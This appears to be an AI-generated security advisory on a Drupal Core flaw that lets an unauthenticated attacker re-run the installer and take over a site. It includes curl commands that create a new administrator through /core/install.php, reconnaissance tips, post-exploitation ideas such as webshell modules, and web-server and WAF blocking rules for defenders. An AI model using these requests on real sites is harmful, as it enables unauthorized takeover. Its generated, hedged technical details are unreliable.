CVE-2026-136716 — Drupal (all Versions) — CWE-754
Drupal Core contains an improper check for unusual or exceptional conditions vulnerability that allows an unauthenticated remote attacker to take over a site via the exposed Drupal installer when the site is in one of the affected unusual or incomplete installation states.
Drupal Core contains an improper check for unusual or exceptional conditions vulnerability that allows an unauthenticated remote attacker to take over a site via the exposed Drupal installer when the site is in one of the affected unusual or incomplete installation states.
Active Exploitation Detected — CISA KEV
This vulnerability is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited in the wild. Patch due date: 2026-11-30
🎯 What is this vulnerability?
CVE-2026-136716 is a critical logic flaw in Drupal Core classified under CWE-754: Improper Check for Unusual or Exceptional Conditions.
The vulnerability arises because the Drupal installation process (/core/install.php) does not properly validate the state of the site before allowing access to the installer interface. Specifically, if a Drupal site is in an "unusual or incomplete installation state" (e.g., the database schema is partially migrated, the settings.php file is misconfigured, or the core/modules/system/config/install state is inconsistent), the installer remains accessible to unauthenticated users.
Normally, once a site is installed, the installer should be locked down. However, due to the improper check, an unauthenticated remote attacker can bypass the standard "site is already installed" check and re-enter the installation wizard. This allows the attacker to:
1. Re-initialize the database schema.
2. Create a new administrative user.
3. Overwrite critical configuration settings.
This is not a traditional SQL injection or RCE via code execution. It is a privilege escalation via state manipulation. The attacker gains full administrative control by resetting the site's identity and credentials.
CVSS Vector Breakdown:
- AV:N: Exploitable over the network.
- AC:L: Low complexity; no race conditions or specific timing required.
- PR:N: No privileges required (unauthenticated).
- UI:N: No user interaction required.
- S:U: Scope is unchanged (the vulnerable component is the application itself).
- C:H/I:H/A:H: Complete compromise of Confidentiality, Integrity, and Availability.
- Technique: Check for the presence of
/core/install.php. - Indicator: A
200 OKresponse fromGET /core/install.phpon a site that appears to be live (i.e., not a fresh install) suggests the installer is exposed. - State Check: The attacker may probe for signs of an "incomplete installation" by checking if the site returns a 500 error or a generic "Database connection failed" message, or if specific Drupal assets (like
/core/misc/drupal.js) are missing or misconfigured.
⚡ Attack Chain
1. Discovery & Reconnaissance
The attacker identifies a target running Drupal. Since the vulnerability affects "all versions" (as per the CVE data provided), version fingerprinting is less critical for exploitability but useful for confirming the presence of Drupal.2. Exploitation
The attacker sends a request to the Drupal installer endpoint. The exact payload depends on the specific "unusual state" of the target, but the general mechanism is to submit the installer form data to re-initialize the site.Illustrative PoC (Conceptual):
Note: The exact form fields and CSRF token generation depend on the specific Drupal version and the state of the settings.php file. This is an illustrative example of the vulnerability class.
# Step 1: Retrieve the installer page to obtain the CSRF token (form_build_id)
curl -s -c cookies.txt "https://target.com/core/install.php?profile=standard" | grep -o 'name="form_build_id" value="[^"]*"' | cut -d'"' -f4
# Step 2: Submit the installer form to create a new admin user
# The attacker sets the site name, admin username, and password.
curl -X POST "https://target.com/core/install.php?profile=standard" \
-b cookies.txt \
-d "form_id=install_configure_form" \
-d "form_build_id=$TOKEN" \
-d "site_name=Compromised" \
-d "[email protected]" \
-d "account[user]=admin" \
-d "account[pass]=P@ssw0rd123!" \
-d "account[mail][email protected]" \
-d "install_configure_form_submit=Install site"Key Technical Detail:
The vulnerability allows this because the installer does not verify that the core module is already installed and active in the database before proceeding. In a normal, healthy installation, the installer would redirect to the login page or return a 403/404. In the vulnerable state, it processes the form and writes a new admin user to the users table and updates the system module configuration.
3. Post-Exploitation
Once the installer completes: 1. Administrative Access: The attacker logs in to/user/login with the newly created credentials (admin / P@ssw0rd123!).
2. Full Control: With admin access, the attacker can:
* Install malicious modules (e.g., a webshell module).
* Modify site configuration to exfiltrate data.
* Delete or corrupt the database, leading to denial of service.
* Pivot to other systems if the Drupal site has database or file system access to other resources.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Immediate Patching
2. Workarounds (If Immediate Patching is Not Possible)
/core/install.php:location /core/install.php {
# Allow only from specific IP ranges or require authentication
# For example, require basic auth or restrict to localhost
allow 127.0.0.1;
deny all;
}* Apache Example:
<Files "install.php">
Order Allow,Deny
Allow from 127.0.0.1
Deny from all
</Files>* Note: This may break legitimate re-installation processes, so it should be a temporary measure.
settings.php file is correctly configured and that the database is in a consistent state.
* Check for any incomplete migrations or failed updates that might leave the site in an "unusual state."/core/install.php from unauthenticated users.
* ModSecurity Example:SecRule REQUEST_URI "@rx ^/core/install\.php" \
"id:100001,phase:1,deny,status:403,msg:'Blocked access to Drupal installer',log"3. Detection
POST requests to /core/install.php from unauthenticated users.POST /core/install.php?profile=standard HTTP/1.1
Content-Type: application/x-www-form-urlencodedusers table, particularly the creation of new admin accounts.settings.php or the creation of new modules in /modules.⚠️ Urgency
Given the critical CVSS score, the CISA KEV listing, and the low complexity of exploitation, this vulnerability must be patched immediately. Organizations should:
1. Apply the latest Drupal Core patch as soon as it is available.
2. If patching is delayed, implement the WAF/web server restrictions to block access to /core/install.php.
3. Audit all Drupal sites for signs of compromise (e.g., unexpected admin accounts, modified files).
4. Rotate all credentials (admin, database, API keys) after patching, as they may have been compromised.
[🤖 CVE Professor AI Security Engine]
FOFA Query